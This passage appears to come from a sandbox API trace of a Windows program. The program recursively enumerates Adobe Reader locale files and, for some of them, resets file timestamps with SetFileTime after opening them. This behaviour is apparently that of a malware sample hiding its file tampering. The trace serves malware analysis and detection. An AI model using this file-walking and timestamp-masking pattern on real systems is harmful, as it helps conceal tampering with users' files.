(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.562] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.562] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.ESP", cAlternateFileName="")) returned 1 [0070.562] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.562] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SaveAsRTF.ESP") returned="SaveAsRTF.ESP" [0070.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.562] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.563] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.ESP", cAlternateFileName="")) returned 1 [0070.563] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.563] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP") returned="Search.ESP" [0070.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.563] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.563] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.563] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.563] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.563] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\SendMail.ESP") returned="SendMail.ESP" [0070.563] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.564] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.564] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.564] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.564] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.564] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.564] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.564] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*.*") returned="*.*" [0070.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" [0070.564] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\") returned="" [0070.567] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.567] CloseHandle (hObject=0x98) returned 1 [0070.568] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.568] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.568] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\DEXShare.asfx") returned="DEXShare.asfx" [0070.568] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" [0070.568] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\") returned="" [0070.568] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.569] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.569] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0070.569] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.569] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*") returned="*.*" [0070.569] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.569] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.569] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4e4720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="updater.ESP", cAlternateFileName="")) returned 1 [0070.569] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.570] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Spelling.ESP") returned="Spelling.ESP" [0070.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.570] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.570] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 1 [0070.570] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.570] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\updater.ESP") returned="updater.ESP" [0070.570] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.570] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.570] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Weblink.ESP", cAlternateFileName="")) returned 0 [0070.570] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0070.570] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0070.571] lstrcmpA (lpString1=".", lpString2="eu_ES") returned -1 [0070.571] lstrcmpA (lpString1="..", lpString2="eu_ES") returned -1 [0070.571] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*.*") returned="*.*" [0070.571] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0070.574] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.574] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.574] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.574] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.574] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0070.574] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.574] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*.*") returned="*.*" [0070.574] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.574] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.576] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.576] CloseHandle (hObject=0x94) returned 1 [0070.577] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.EUQ", cAlternateFileName="")) returned 1 [0070.577] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.577] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\accessibility.EUQ") returned="accessibility.EUQ" [0070.577] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.577] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.577] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.EUQ", cAlternateFileName="ADOBEC~1.EUQ")) returned 1 [0070.577] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.577] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Acroform.EUQ") returned="Acroform.EUQ" [0070.577] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.577] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.578] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.EUQ", cAlternateFileName="")) returned 1 [0070.578] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.578] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\AdobeCollabSync.EUQ") returned="AdobeCollabSync.EUQ" [0070.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.578] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.578] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.EUQ", cAlternateFileName="BRDLAN~1.EUQ")) returned 1 [0070.578] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.578] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ") returned="Annots.EUQ" [0070.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.578] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.578] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0070.578] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.578] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ") returned="BRdlang32.EUQ" [0070.578] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.578] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="" [0070.579] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0070.579] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.579] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ") returned="Checkers.EUQ" [0070.579] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\" [0070.579] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 